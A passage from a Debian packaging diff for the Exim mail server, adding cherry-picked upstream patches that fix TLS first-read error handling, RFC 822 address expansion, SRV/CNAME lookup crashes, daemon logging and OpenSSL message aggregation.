+-static const char * const exim_default_gnutls_priority = "NORMAL";
++static const uschar * const exim_default_gnutls_priority = US"NORMAL";
+
+ /* Guard library core initialisation */
+
+@@ -1278,7 +1278,6 @@ int rc;
+ size_t sz;
+ const char *errpos;
+ uschar *p;
+-BOOL want_default_priorities;
+
+ if (!exim_gnutls_base_init_done)
+ {
+@@ -1387,32 +1386,24 @@ and replaces gnutls_require_kx, gnutls_require_mac & gnutls_require_protocols.
+ This was backwards incompatible, but means Exim no longer needs to track
+ all algorithms and provide string forms for them. */
+
+-want_default_priorities = TRUE;
+-
++p = NULL;
+ if (state->tls_require_ciphers && *state->tls_require_ciphers)
+ {
+ if (!expand_check_tlsvar(tls_require_ciphers, errstr))
+ return DEFER;
+ if (state->exp_tls_require_ciphers && *state->exp_tls_require_ciphers)
+ {
+- DEBUG(D_tls) debug_printf("GnuTLS session cipher/priority \"%s\"\n",
+- state->exp_tls_require_ciphers);
+-
+- rc = gnutls_priority_init(&state->priority_cache,
+- CS state->exp_tls_require_ciphers, &errpos);
+- want_default_priorities = FALSE;
+ p = state->exp_tls_require_ciphers;
++ DEBUG(D_tls) debug_printf("GnuTLS session cipher/priority \"%s\"\n", p);
+ }
+ }
+-if (want_default_priorities)
++if (!p)
+ {
++ p = exim_default_gnutls_priority;
+ DEBUG(D_tls)
+- debug_printf("GnuTLS using default session cipher/priority \"%s\"\n",
+- exim_default_gnutls_priority);
+- rc = gnutls_priority_init(&state->priority_cache,
+- exim_default_gnutls_priority, &errpos);
+- p = US exim_default_gnutls_priority;
++ debug_printf("GnuTLS using default session cipher/priority \"%s\"\n", p);
+ }
++rc = gnutls_priority_init(&state->priority_cache, CCS p, &errpos);
+
+ exim_gnutls_err_check(rc, string_sprintf(
+ "gnutls_priority_init(%s) failed at offset %ld, \"%.6s..\"",
+diff --git a/src/transports/lmtp.c b/src/transports/lmtp.c
+index 240d78b2..57b346d4 100644
+--- a/src/transports/lmtp.c
++++ b/src/transports/lmtp.c
+@@ -122,7 +122,8 @@ Arguments:
+ Returns: TRUE if a "QUIT" command should be sent, else FALSE
+ */
+
+-static BOOL check_response(int *errno_value, int more_errno, uschar *buffer,
++static BOOL
++check_response(int *errno_value, int more_errno, uschar *buffer,
+ int *yield, uschar **message)
+ {
+ *yield = '4'; /* Default setting is to give a temporary error */
+diff --git a/src/transports/smtp.c b/src/transports/smtp.c
+index a351da84..bfd6018d 100644
+--- a/src/transports/smtp.c
++++ b/src/transports/smtp.c
+@@ -594,6 +594,11 @@ switch(*errno_value)
+ pl, smtp_command, s);
+ return FALSE;
+
++ case ERRNO_TLSFAILURE: /* Handle bad first read; can happen with
++ GnuTLS and TLS1.3 */
++ *message = US"bad first read from TLS conn";
++ return TRUE;
++
+ case ERRNO_FILTER_FAIL: /* Handle a failed filter process error;
+ can't send QUIT as we mustn't end the DATA. */
+ *message = string_sprintf("transport filter process failed (%d)%s",
+@@ -942,6 +947,7 @@ Arguments:
+
+ Return:
+ OK all well
++ DEFER error on first read of TLS'd conn
+ FAIL SMTP error in response
+ */
+ int
+@@ -949,6 +955,7 @@ smtp_reap_early_pipe(smtp_context * sx, int * countp)
+ {
+ BOOL pending_BANNER = sx->pending_BANNER;
+ BOOL pending_EHLO = sx->pending_EHLO;
++int rc = FAIL;
+
+ sx->pending_BANNER = FALSE; /* clear early to avoid recursion */
+ sx->pending_EHLO = FALSE;
+@@ -960,6 +967,7 @@ if (pending_BANNER)
+ if (!smtp_reap_banner(sx))
+ {
+ DEBUG(D_transport) debug_printf("bad banner\n");
++ if (tls_out.active.sock >= 0) rc = DEFER;
+ goto fail;
+ }
+ }
+@@ -974,6 +982,7 @@ if (pending_EHLO)
+ if (!smtp_reap_ehlo(sx))
+ {
+ DEBUG(D_transport) debug_printf("bad response for EHLO\n");
++ if (tls_out.active.sock >= 0) rc = DEFER;
+ goto fail;
+ }
+
+@@ -1011,7 +1020,7 @@ return OK;
+ fail:
+ invalidate_ehlo_cache_entry(sx);
+ (void) smtp_discard_responses(sx, sx->conn_args.ob, *countp);
+- return FAIL;
++ return rc;
+ }
+ #endif
+
+@@ -1056,6 +1065,7 @@ Returns: 3 if at least one address had 2xx and one had 5xx
+ -2 I/O or other non-response error for RCPT
+ -3 DATA or MAIL failed - errno and buffer set
+ -4 banner or EHLO failed (early-pipelining)
++ -5 banner or EHLO failed (early-pipelining, TLS)
+ */
+
+ static int
+@@ -1064,10 +1074,11 @@ sync_responses(smtp_context * sx, int count, int pending_DATA)
+ address_item * addr = sx->sync_addr;
+ smtp_transport_options_block * ob = sx->conn_args.ob;
+ int yield = 0;
++int rc;
+
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
+-if (smtp_reap_early_pipe(sx, &count) != OK)
+- return -4;
++if ((rc = smtp_reap_early_pipe(sx, &count)) != OK)
++ return rc == FAIL ? -4 : -5;
+ #endif
+
+ /* Handle the response for a MAIL command. On error, reinstate the original
+@@ -1083,6 +1094,8 @@ if (sx->pending_MAIL)
+ {
+ DEBUG(D_transport) debug_printf("bad response for MAIL\n");
+ Ustrcpy(big_buffer, mail_command); /* Fits, because it came from there! */
++ if (errno == ERRNO_TLSFAILURE)
++ return -5;
+ if (errno == 0 && sx->buffer[0] != 0)
+ {
+ int save_errno = 0;
+@@ -1141,6 +1154,11 @@ while (count-- > 0)
+ }
+ }
+
++ /* Error on first TLS read */
++
++ else if (errno == ERRNO_TLSFAILURE)
++ return -5;
++
+ /* Timeout while reading the response */
+
+ else if (errno == ETIMEDOUT)
+@@ -1253,6 +1271,10 @@ if (pending_DATA != 0)
+ int code;
+ uschar *msg;
+ BOOL pass_message;
++
++ if (errno == ERRNO_TLSFAILURE) /* Error on first TLS read */
++ return -5;
++
+ if (pending_DATA > 0 || (yield & 1) != 0)
+ {
+ if (errno == 0 && sx->buffer[0] == '4')
+@@ -1802,7 +1824,9 @@ Args:
+ tc_chunk_last add LAST option to SMTP BDAT command
+ tc_reap_prev reap response to previous SMTP commands
+
+-Returns: OK or ERROR
++Returns:
++ OK or ERROR
++ DEFER TLS error on first read (EHLO-resp); errno set
+ */
+
+ static int
+@@ -1859,10 +1883,12 @@ if (flags & tc_reap_prev && prev_cmd_count > 0)
+ case 2: sx->completed_addr = TRUE; /* 5xx (only) => progress made */
+ case 0: break; /* No 2xx or 5xx, but no probs */
+
+- case -1: /* Timeout on RCPT */
++ case -5: errno = ERRNO_TLSFAILURE;
++ return DEFER;
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
+ case -4: /* non-2xx for pipelined banner or EHLO */
+ #endif
++ case -1: /* Timeout on RCPT */
+ default: return ERROR; /* I/O error, or any MAIL/DATA error */
+ }
+ cmd_count = 1;
+@@ -1933,6 +1959,9 @@ BOOL pass_message = FALSE;
+ uschar * message = NULL;
+ int yield = OK;
+ int rc;
++#ifdef SUPPORT_TLS
++uschar * tls_errstr;
++#endif
+
+ sx->conn_args.ob = ob;
+
+@@ -2474,27 +2503,27 @@ if ( smtp_peer_options & OPTION_TLS
+ TLS_NEGOTIATE:
+ {
+ address_item * addr;
+- uschar * errstr;
+ sx->cctx.tls_ctx = tls_client_start(sx->cctx.sock, sx->conn_args.host,
+ sx->addrlist, sx->conn_args.tblock,
+ # ifdef SUPPORT_DANE
+ sx->dane ? &tlsa_dnsa : NULL,
+ # endif
+- &tls_out, &errstr);
++ &tls_out, &tls_errstr);
+
+ if (!sx->cctx.tls_ctx)
+ {
+ /* TLS negotiation failed; give an error. From outside, this function may
+ be called again to try in clear on a new connection, if the options permit
+ it for this host. */
+- DEBUG(D_tls) debug_printf("TLS session fail: %s\n", errstr);
++GNUTLS_CONN_FAILED:
++ DEBUG(D_tls) debug_printf("TLS session fail: %s\n", tls_errstr);
+
+ # ifdef SUPPORT_DANE
+ if (sx->dane)
+ {
+ log_write(0, LOG_MAIN,
+ "DANE attempt failed; TLS connection to %s [%s]: %s",
+- sx->conn_args.host->name, sx->conn_args.host->address, errstr);
++ sx->conn_args.host->name, sx->conn_args.host->address, tls_errstr);
+ # ifndef DISABLE_EVENT
+ (void) event_raise(sx->conn_args.tblock->event_action,
+ US"dane:fail", US"validation-failure"); /* could do with better detail */
+@@ -2503,7 +2532,7 @@ if ( smtp_peer_options & OPTION_TLS
+ # endif
+
+ errno = ERRNO_TLSFAILURE;
+- message = string_sprintf("TLS session: %s", errstr);
++ message = string_sprintf("TLS session: %s", tls_errstr);
+ sx->send_quit = FALSE;
+ goto TLS_FAILED;
+ }
+@@ -2601,7 +2630,22 @@ if (tls_out.active.sock >= 0)
+ #endif
+ {
+ if (!smtp_reap_ehlo(sx))
++#ifdef USE_GNUTLS
++ {
++ /* The GnuTLS layer in Exim only spots a server-rejection of a client
++ cert late, under TLS1.3 - which means here; the first time we try to
++ receive crypted data. Treat it as if it was a connect-time failure.
++ See also the early-pipe equivalent... which will be hard; every call
++ to sync_responses will need to check the result.
++ It would be nicer to have GnuTLS check the cert during the handshake.
++ Can it do that, with all the flexibility we need? */
++
++ tls_errstr = US"error on first read";
++ goto GNUTLS_CONN_FAILED;
++ }
++#else
+ goto RESPONSE_FAILED;
++#endif
+ smtp_peer_options = 0;
+ }
+ }
+@@ -3261,6 +3305,7 @@ for (addr = sx->first_addr, address_count = 0;
+
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
+ case -4: return -1; /* non-2xx for pipelined banner or EHLO */
++ case -5: return -1; /* TLS first-read error */
+ #endif
+ }
+ sx->pending_MAIL = FALSE; /* Dealt with MAIL */
+@@ -3589,11 +3634,12 @@ if ( !(sx.peer_offered & OPTION_CHUNKING)
+
+ case 1: sx.ok = TRUE; /* 2xx (only) => OK, but if LMTP, */
+ if (!sx.lmtp) sx.completed_addr = TRUE; /* can't tell about progress yet */
+- case 0: break; /* No 2xx or 5xx, but no probs */
++ case 0: break; /* No 2xx or 5xx, but no probs */
+
+- case -1: goto END_OFF; /* Timeout on RCPT */
++ case -1: goto END_OFF; /* Timeout on RCPT */
+
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
++ case -5: /* TLS first-read error */
+ case -4: HDEBUG(D_transport)
+ debug_printf("failed reaping pipelined cmd responses\n");
+ #endif
+@@ -3730,19 +3776,20 @@ else
+ {
+ case 3: sx.ok = TRUE; /* 2xx & 5xx => OK & progress made */
+ case 2: sx.completed_addr = TRUE; /* 5xx (only) => progress made */
+- break;
++ break;
+
+- case 1: sx.ok = TRUE; /* 2xx (only) => OK, but if LMTP, */
++ case 1: sx.ok = TRUE; /* 2xx (only) => OK, but if LMTP, */
+ if (!sx.lmtp) sx.completed_addr = TRUE; /* can't tell about progress yet */
+- case 0: break; /* No 2xx or 5xx, but no probs */
++ case 0: break; /* No 2xx or 5xx, but no probs */
+
+- case -1: goto END_OFF; /* Timeout on RCPT */
++ case -1: goto END_OFF; /* Timeout on RCPT */
+
+ #ifdef EXPERIMENTAL_PIPE_CONNECT
++ case -5: /* TLS first-read error */
+ case -4: HDEBUG(D_transport)
+ debug_printf("failed reaping pipelined cmd responses\n");
+ #endif
+- default: goto RESPONSE_FAILED; /* I/O error, or any MAIL/DATA error */
++ default: goto RESPONSE_FAILED; /* I/O error, or any MAIL/DATA error */
+ }
+ }
+
+--
+2.20.1
+
diff --git a/debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch b/debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch
new file mode 100644
index 0000000..517eb1c
--- /dev/null
+++ b/debian/patches/75_05-Fix-expansions-for-RFC-822-addresses-having-comments.patch
@@ -0,0 +1,91 @@
+From f634b80846cc7ffcab65c9855bcb35312f0232e8 Mon Sep 17 00:00:00 2001
+From: Jasen Betts <jasen@xnet.co.nz>
+Date: Mon, 18 Feb 2019 13:52:16 +0000
+Subject: [PATCH 1/5] Fix expansions for RFC 822 addresses having comments in
+ local-part and/or domain. Bug 2375
+
+(cherry picked from commit e2ff8e24f41caca3623228b1ec66a3f3961ecad6)
+---
+ doc/ChangeLog | 3 +++
+ src/expand.c | 19 +++++++------------
+ test/scripts/0000-Basic/0002 | 7 +++++++
+ test/stdout/0002 | 7 +++++++
+ 4 files changed, 24 insertions(+), 12 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 867a1d8a..9659da32 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -16,10 +16,13 @@ JH/07 GnuTLS: Our use of late (post-handshake) certificate verification, under
+ to the client until the first read of encrypted data (typically the
+ response to EHLO). Add detection for that case and treat it as a failed
+ TLS connection attempt, so that the normal retry-in-clear can work (if
+ suitably configured).
+
++JB/01 BZg 2375: fix expansions of 822 addresses having comments in local-part
++ and/or domain. Found and fixed by Jason Betts.
++
+
+ Exim version 4.92
+ -----------------
+
+ JH/01 Remove code calling the customisable local_scan function, unless a new
+diff --git a/src/expand.c b/src/expand.c
+index 2c290251..35ede718 100644
+--- a/src/expand.c
++++ b/src/expand.c
+@@ -7071,20 +7071,15 @@ while (*s != 0)
+ uschar * error;
+ int start, end, domain;
+ uschar * t = parse_extract_address(sub, &error, &start, &end, &domain,
+ FALSE);
+ if (t)
+- if (c != EOP_DOMAIN)
+- {
+- if (c == EOP_LOCAL_PART && domain != 0) end = start + domain - 1;
+- yield = string_catn(yield, sub+start, end-start);
+- }
+- else if (domain != 0)
+- {
+- domain += start;
+- yield = string_catn(yield, sub+domain, end-domain);
+- }
++ yield = c == EOP_DOMAIN
++ ? string_cat(yield, t + domain)
++ : c == EOP_LOCAL_PART && domain > 0
++ ? string_catn(yield, t, domain - 1 )
++ : string_cat(yield, t);
+ continue;
+ }
+
+ case EOP_ADDRESSES:
+ {
+@@ -7104,11 +7099,11 @@ while (*s != 0)
+ }
+ f.parse_allow_group = TRUE;
+
+ for (;;)
+ {
+- uschar *p = parse_find_address_end(sub, FALSE);
++ uschar * p = parse_find_address_end(sub, FALSE);
+ uschar saveend = *p;
+ *p = '\0';
+ address = parse_extract_address(sub, &error, &start, &end, &domain,
+ FALSE);
+ *p = saveend;
+@@ -7117,11 +7112,11 @@ while (*s != 0)
+ done in chunks by searching for the separator character. At the
+ start, unless we are dealing with the first address of the output
+ list, add in a space if the new address begins with the separator
+ character, or is an empty string. */
+
+- if (address != NULL)
++ if (address)
+ {
+ if (yield->ptr != save_ptr && address[0] == *outsep)
+ yield = string_catn(yield, US" ", 1);
+
+ for (;;)
+--
+2.20.1
+
diff --git a/debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch b/debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch
new file mode 100644
index 0000000..a7863ef
--- /dev/null
+++ b/debian/patches/75_06-Docs-Add-note-on-lsearch-for-IPv4-mapped-IPv6-addres.patch
@@ -0,0 +1,48 @@
+From 8dde16b89efe2138f92cbfa6c59fb31dc80ec22a Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Tue, 19 Feb 2019 14:45:27 +0000
+Subject: [PATCH 2/5] Docs: Add note on lsearch for IPv4-mapped IPv6 addresses
+
+Cherry-picked from: 52af443324, c77d3d85fe
+---
+ doc/doc-docbook/spec.xfpt | 11 ++++++++++-
+ doc/ChangeLog | 2 +-
+ 2 files changed, 11 insertions(+), 2 deletions(-)
+
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -18,7 +18,7 @@ JH/07 GnuTLS: Our use of late (post-hand
+ TLS connection attempt, so that the normal retry-in-clear can work (if
+ suitably configured).
+
+-JB/01 BZg 2375: fix expansions of 822 addresses having comments in local-part
++JB/01 Bug 2375: fix expansions of 822 addresses having comments in local-part
+ and/or domain. Found and fixed by Jason Betts.
+
+
+--- a/doc/spec.txt
++++ b/doc/spec.txt
+@@ -6302,6 +6302,10 @@ The following single-key lookup types ar
+ implicit key is the host's IP address rather than its name (see section
+ 10.12).
+
++ Warning 3: Do not use an IPv4-mapped IPv6 address for a key; use the
++ IPv4, in dotted-quad form. (Exim converts IPv4-mapped IPv6 addresses to
++ this notation before executing the lookup.)
++
+ * lsearch: The given file is a text file that is searched linearly for a line
+ beginning with the search key, terminated by a colon or white space or the
+ end of the line. The search is case-insensitive; that is, upper and lower
+@@ -8003,7 +8007,11 @@ quote keys was made available in lsearch
+ implemented iplsearch files do require colons in IPv6 keys (notated using the
+ quoting facility) so as to distinguish them from IPv4 keys. For this reason,
+ when the lookup type is iplsearch, IPv6 addresses are converted using colons
+-and not dots. In all cases, full, unabbreviated IPv6 addresses are always used.
++and not dots.
++
++In all cases except IPv4-mapped IPv6, full, unabbreviated IPv6 addresses
++are always used. The latter are converted to IPv4 addresses, in dotted-quad
++form.
+
+ Ideally, it would be nice to tidy up this anomalous situation by changing to
+ colons in all cases, given that quoting is now available for lsearch. However,
diff --git a/debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch b/debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch
new file mode 100644
index 0000000..cfdbe51
--- /dev/null
+++ b/debian/patches/75_07-Fix-crash-from-SRV-lookup-hitting-a-CNAME.patch
@@ -0,0 +1,69 @@
+From 09720dd9506176294154dad7152f5f40554046a4 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Thu, 14 Mar 2019 12:26:34 +0000
+Subject: [PATCH 3/5] Fix crash from SRV lookup hitting a CNAME
+
+(cherry picked from commit 14bc9cf085aff7bd5147881e5b7068769a29b026)
+---
+ doc/ChangeLog | 4 ++++
+ src/dns.c | 10 +++++++---
+ 2 files changed, 11 insertions(+), 3 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 419c1061..0f8d05b2 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -19,10 +19,14 @@ JH/07 GnuTLS: Our use of late (post-handshake) certificate verification, under
+ suitably configured).
+
+ JB/01 Bug 2375: fix expansions of 822 addresses having comments in local-part
+ and/or domain. Found and fixed by Jason Betts.
+
++JH/08 Add hardening against SRV & TLSA lookups the hit CNAMEs (a nonvalid
++ configuration). If a CNAME target was not a wellformed name pattern, a
++ crash could result.
++
+
+ Exim version 4.92
+ -----------------
+
+ JH/01 Remove code calling the customisable local_scan function, unless a new
+diff --git a/src/dns.c b/src/dns.c
+index 0f0b435d..b7978c52 100644
+--- a/src/dns.c
++++ b/src/dns.c
+@@ -714,11 +714,15 @@ regex has substrings that are used - the default uses a conditional.
+ This test is omitted for PTR records. These occur only in calls from the dnsdb
+ lookup, which constructs the names itself, so they should be OK. Besides,
+ bitstring labels don't conform to normal name syntax. (But the aren't used any
+ more.)
+
+-For SRV records, we omit the initial _smtp._tcp. components at the start. */
++For SRV records, we omit the initial _smtp._tcp. components at the start.
++The check has been seen to bite on the destination of a SRV lookup that
++initiall hit a CNAME, for which the next name had only two components.
++RFC2782 makes no mention of the possibiility of CNAMES, but the Wikipedia
++article on SRV says they are not a valid configuration. */
+
+ #ifndef STAND_ALONE /* Omit this for stand-alone tests */
+
+ if (check_dns_names_pattern[0] != 0 && type != T_PTR && type != T_TXT)
+ {
+@@ -730,12 +734,12 @@ if (check_dns_names_pattern[0] != 0 && type != T_PTR && type != T_TXT)
+ /* For an SRV lookup, skip over the first two components (the service and
+ protocol names, which both start with an underscore). */
+
+ if (type == T_SRV || type == T_TLSA)
+ {
+- while (*checkname++ != '.');
+- while (*checkname++ != '.');
++ while (*checkname && *checkname++ != '.') ;
++ while (*checkname && *checkname++ != '.') ;
+ }
+
+ if (pcre_exec(regex_check_dns_names, NULL, CCS checkname, Ustrlen(checkname),
+ 0, PCRE_EOPT, ovector, nelem(ovector)) < 0)
+ {
+--
+2.20.1
+
diff --git a/debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch b/debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch
new file mode 100644
index 0000000..4af2972
--- /dev/null
+++ b/debian/patches/75_08-Logging-fix-initial-listening-on-log-line.patch
@@ -0,0 +1,206 @@
+From e5be948a65fe601024e5d4256f64efbfed3dd72e Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Mon, 18 Mar 2019 00:31:43 +0000
+Subject: [PATCH 4/5] Logging: fix initial listening-on log line
+
+(cherry picked from commit 254f38d1c5ada5e4df0bccb385dc466549620c71)
+---
+ doc/ChangeLog | 4 +++
+ src/daemon.c | 73 +++++++++++++++++++++++++++----------------
+ src/host.c | 1 +
+ src/structs.h | 1 +
+ test/confs/0282 | 2 +-
+ test/log/0282 | 2 +-
+ 6 files changed, 54 insertions(+), 29 deletions(-)
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 0f8d05b2..3c0ffbf0 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -23,10 +23,14 @@ JB/01 Bug 2375: fix expansions of 822 addresses having comments in local-part
+
+ JH/08 Add hardening against SRV & TLSA lookups the hit CNAMEs (a nonvalid
+ configuration). If a CNAME target was not a wellformed name pattern, a
+ crash could result.
+
++JH/09 Logging: Fix initial listening-on line for multiple ports for an IP when
++ the OS reports them interleaved with other addresses.
++
++
+
+ Exim version 4.92
+ -----------------
+
+ JH/01 Remove code calling the customisable local_scan function, unless a new
+diff --git a/src/daemon.c b/src/daemon.c
+index a852192e..01da3936 100644
+--- a/src/daemon.c
++++ b/src/daemon.c
+@@ -1625,12 +1625,12 @@ if (f.inetd_wait_mode)
+ else if (f.daemon_listen)
+ {
+ int i, j;
+ int smtp_ports = 0;
+ int smtps_ports = 0;
+- ip_address_item * ipa, * i2;
+- uschar * p = big_buffer;
++ ip_address_item * ipa;
++ uschar * p;
+ uschar * qinfo = queue_interval > 0
+ ? string_sprintf("-q%s", readconf_printtime(queue_interval))
+ : US"no queue runs";
+
+ /* Build a list of listening addresses in big_buffer, but limit it to 10
+@@ -1638,73 +1638,92 @@ else if (f.daemon_listen)
+
+ It is now possible to have some ports listening for SMTPS (the old,
+ deprecated protocol that starts TLS without using STARTTLS), and others
+ listening for standard SMTP. Keep their listings separate. */
+
+- for (j = 0; j < 2; j++)
++ for (int j = 0, i; j < 2; j++)
+ {
+ for (i = 0, ipa = addresses; i < 10 && ipa; i++, ipa = ipa->next)
+ {
+ /* First time round, look for SMTP ports; second time round, look for
+- SMTPS ports. For the first one of each, insert leading text. */
++ SMTPS ports. Build IP+port strings. */
+
+ if (host_is_tls_on_connect_port(ipa->port) == (j > 0))
+ {
+ if (j == 0)
+- {
+- if (smtp_ports++ == 0)
+- {
+- memcpy(p, "SMTP on", 8);
+- p += 7;
+- }
+- }
++ smtp_ports++;
+ else
+- if (smtps_ports++ == 0)
+- p += sprintf(CS p, "%sSMTPS on",
+- smtp_ports == 0 ? "" : " and for ");
++ smtps_ports++;
+
+ /* Now the information about the port (and sometimes interface) */
+
+ if (ipa->address[0] == ':' && ipa->address[1] == 0)
+ { /* v6 wildcard */
+ if (ipa->next && ipa->next->address[0] == 0 &&
+ ipa->next->port == ipa->port)
+ {
+- p += sprintf(CS p, " port %d (IPv6 and IPv4)", ipa->port);
+- ipa = ipa->next;
++ ipa->log = string_sprintf(" port %d (IPv6 and IPv4)", ipa->port);
++ (ipa = ipa->next)->log = NULL;
+ }
+ else if (ipa->v6_include_v4)
+- p += sprintf(CS p, " port %d (IPv6 with IPv4)", ipa->port);
++ ipa->log = string_sprintf(" port %d (IPv6 with IPv4)", ipa->port);
+ else
+- p += sprintf(CS p, " port %d (IPv6)", ipa->port);
++ ipa->log = string_sprintf(" port %d (IPv6)", ipa->port);
+ }
+ else if (ipa->address[0] == 0) /* v4 wildcard */
+- p += sprintf(CS p, " port %d (IPv4)", ipa->port);
++ ipa->log = string_sprintf(" port %d (IPv4)", ipa->port);
+ else /* check for previously-seen IP */
+ {
++ ip_address_item * i2;
+ for (i2 = addresses; i2 != ipa; i2 = i2->next)
+ if ( host_is_tls_on_connect_port(i2->port) == (j > 0)
+ && Ustrcmp(ipa->address, i2->address) == 0
+ )
+ { /* found; append port to list */
+- if (p[-1] == '}') p--;
+- while (isdigit(*--p)) ;
+- p += 1 + sprintf(CS p+1, "%s%d,%d}", *p == ',' ? "" : "{",
+- i2->port, ipa->port);
++ for (p = i2->log; *p; ) p++; /* end of existing string */
++ if (*--p == '}') *p = '\0'; /* drop EOL */
++ while (isdigit(*--p)) ; /* char before port */
++
++ i2->log = *p == ':' /* no list yet? */
++ ? string_sprintf("%.*s{%s,%d}",
++ (int)(p - i2->log + 1), i2->log, p+1, ipa->port)
++ : string_sprintf("%s,%d}", i2->log, ipa->port);
++ ipa->log = NULL;
+ break;
+ }
+ if (i2 == ipa) /* first-time IP */
+- p += sprintf(CS p, " [%s]:%d", ipa->address, ipa->port);
++ ipa->log = string_sprintf(" [%s]:%d", ipa->address, ipa->port);
+ }
+ }
+ }
++ }
+
+- if (ipa)
++ p = big_buffer;
++ for (int j = 0, i; j < 2; j++)
++ {
++ /* First time round, look for SMTP ports; second time round, look for
++ SMTPS ports. For the first one of each, insert leading text. */
++
++ if (j == 0)
+ {
+- memcpy(p, " ...", 5);
+- p += 4;
++ if (smtp_ports > 0)
++ p += sprintf(CS p, "SMTP on");
+ }
++ else
++ if (smtps_ports > 0)
++ p += sprintf(CS p, "%sSMTPS on",
++ smtp_ports == 0 ? "" : " and for ");
++
++ /* Now the information about the port (and sometimes interface) */
++
++ for (i = 0, ipa = addresses; i < 10 && ipa; i++, ipa = ipa->next)
++ if (host_is_tls_on_connect_port(ipa->port) == (j > 0))
++ if (ipa->log)
++ p += sprintf(CS p, "%s", ipa->log);
++
++ if (ipa)
++ p += sprintf(CS p, " ...");
+ }
+
+ log_write(0, LOG_MAIN,
+ "exim %s daemon started: pid=%d, %s, listening for %s",
+ version_string, getpid(), qinfo, big_buffer);
+diff --git a/src/host.c b/src/host.c
+index 29c977fe..a3b0977b 100644
+--- a/src/host.c
++++ b/src/host.c
+@@ -757,10 +757,11 @@ while ((s = string_nextinlist(&list, &sep, NULL, 0)))
+ next = store_get(sizeof(ip_address_item));
+ next->next = NULL;
+ Ustrcpy(next->address, s);
+ next->port = port;
+ next->v6_include_v4 = FALSE;
++ next->log = NULL;
+
+ if (!yield)
+ yield = last = next;
+ else
+ {
+diff --git a/src/structs.h b/src/structs.h
+index 20db0e5f..1e63d752 100644
+--- a/src/structs.h
++++ b/src/structs.h
+@@ -442,10 +442,11 @@ hold an IPv6 address. */
+ typedef struct ip_address_item {
+ struct ip_address_item *next;
+ int port;
+ BOOL v6_include_v4; /* Used in the daemon */
+ uschar address[46];
++ uschar * log; /* portion of "listening on" log line */
+ } ip_address_item;
+
+ /* Structure for chaining together arbitrary strings. */
+
+ typedef struct string_item {
+--
+2.20.1
+
diff --git a/debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch b/debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch
new file mode 100644
index 0000000..b82891d
--- /dev/null
+++ b/debian/patches/75_09-OpenSSL-Fix-aggregation-of-messages.patch
@@ -0,0 +1,127 @@
+From 332ebeaf8139b2b75f475880fc14b63c7c45c706 Mon Sep 17 00:00:00 2001
+From: Jeremy Harris <jgh146exb@wizmail.org>
+Date: Tue, 19 Mar 2019 15:33:31 +0000
+Subject: [PATCH 5/5] OpenSSL: Fix aggregation of messages.
+
+Broken-by: a5ffa9b475
+(cherry picked from commit c09dbcfb71f4b9a42cbfd8a20e0be6bfa1b12488)
+---
+ doc/ChangeLog | 5 +++
+ src/tls-openssl.c | 24 ++++++++++----
+ test/confs/2152 | 76 +++++++++++++++++++++++++++++++++++++++++++
+ test/log/2152 | 9 +++++
+ 4 files changed, 108 insertions(+), 6 deletions(-)
+ create mode 100644 test/confs/2152
+ create mode 100644 test/log/2152
+
+diff --git a/doc/ChangeLog b/doc/ChangeLog
+index 3c0ffbf0..3d63725f 100644
+--- a/doc/ChangeLog
++++ b/doc/ChangeLog
+@@ -26,10 +26,15 @@ JH/08 Add hardening against SRV & TLSA lookups the hit CNAMEs (a nonvalid
+ crash could result.
+
+ JH/09 Logging: Fix initial listening-on line for multiple ports for an IP when
+ the OS reports them interleaved with other addresses.
+
++JH/10 OpenSSL: Fix aggregation of messages. Previously, when PIPELINING was
++ used both for input and for a verify callout, both encrypted, SMTP
++ responses being sent by the server could be lost. This resulted in
++ dropped connections and sometimes bounces generated by a peer sending
++ to this system.
+
+
+ Exim version 4.92
+ -----------------
+
+diff --git a/src/tls-openssl.c b/src/tls-openssl.c
+index 8f4cf4d8..cc0ead02 100644
+--- a/src/tls-openssl.c
++++ b/src/tls-openssl.c
+@@ -272,10 +272,11 @@ Server:
+ */
+
+ typedef struct {
+ SSL_CTX * ctx;
+ SSL * ssl;
++ gstring * corked;
+ } exim_openssl_client_tls_ctx;
+
+ static SSL_CTX *server_ctx = NULL;
+ static SSL *server_ssl = NULL;
+
+@@ -2471,10 +2472,11 @@ BOOL require_ocsp = FALSE;
+ #endif
+
+ rc = store_pool;
+ store_pool = POOL_PERM;
+ exim_client_ctx = store_get(sizeof(exim_openssl_client_tls_ctx));
++exim_client_ctx->corked = NULL;
+ store_pool = rc;
+
+ #ifdef SUPPORT_DANE
+ tlsp->tlsa_usage = 0;
+ #endif
+@@ -2906,22 +2908,29 @@ Used by both server-side and client-side TLS.
+
+ int
+ tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more)
+ {
+ int outbytes, error, left;
+-SSL * ssl = ct_ctx ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
+-static gstring * corked = NULL;
++SSL * ssl = ct_ctx
++ ? ((exim_openssl_client_tls_ctx *)ct_ctx)->ssl : server_ssl;
++static gstring * server_corked = NULL;
++gstring ** corkedp = ct_ctx
